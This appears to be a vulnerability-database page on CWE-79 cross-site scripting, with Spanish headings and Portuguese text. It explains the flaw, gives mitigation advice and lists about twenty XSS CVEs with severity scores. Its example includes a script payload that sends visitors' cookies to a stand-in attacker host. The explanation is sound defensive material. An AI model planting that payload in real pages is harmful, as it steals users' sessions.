Fallos del tipo CWE-79

30.540 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-107765MEDIUMDiscussion Board <= 2.6.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Profile Website (user_url) FieldEPSS 0.2%CVE-2026-122222MEDIUMPermalink Manager Lite <= 2.6.1 - Authenticated (Author+) Stored Cross-Site Scripting via Post SlugEPSS 0.2%CVE-2025-6988MEDIUMKallyas <= 4.23.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-3837MEDIUMFrappe Framework 16.10.0 - Stored DOM XSS in Multiple Field FormattersEPSS 0.2%CVE-2025-11897MEDIUMThe7 — Ultimate WordPress & WooCommerce Theme <= 12.9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'the7_fancy_title_css'EPSS 0.2%CVE-2026-118204MEDIUMWP Data Access <= 5.5.89 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'Image URL' Media-Type Column RendererEPSS 0.2%CVE-2025-10295MEDIUMAngel – Fashion Model Agency WordPress CMS Theme <= 3.2.3 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-21632MEDIUMJoomla! Core - [20260304] - XSS vectors in various article title outputsEPSS 0.2%CVE-2025-48470MEDIUMStored Cross site Scripting (XSS)EPSS 0.2%CVE-2026-60650HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Web Content Management). Supported versions tEPSS 0.2%CVE-2025-12151MEDIUMSimple Folio <= 1.1.0 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-11859MEDIUMPaypal Donation Shortcode <= 0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-55056MEDIUMA stored cross-site scripting (XSS) vulnerability was identified in Phpgurukul Online Birth Certificate System 1.0 in /user/certificate-formEPSS 0.2%CVE-2026-32124MEDIUMOpenEMR: Dynamic Code Picker Renders Unescaped Descriptions (Stored XSS)EPSS 0.2%CVE-2025-12711MEDIUMShare to Google Classroom <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via share_to_google ShortcodeEPSS 0.2%CVE-2025-52037MEDIUMA vulnerability has been found in NotesCMS and classified as medium. Affected by this vulnerability is the page /index.php?route=sites. The EPSS 0.2%CVE-2026-109974MEDIUMAll-in-One Video Gallery <= 4.9.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'more_link' Shortcode AttributeEPSS 0.2%CVE-2026-111592MEDIUMCo-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.17.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via display_name profile-sync into author term nameEPSS 0.2%CVE-2025-12324MEDIUMTablePress – Tables in WordPress made easy <= 3.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-36019MEDIUMMultiple Vulnerabilities in IBM Concert Software.EPSS 0.2%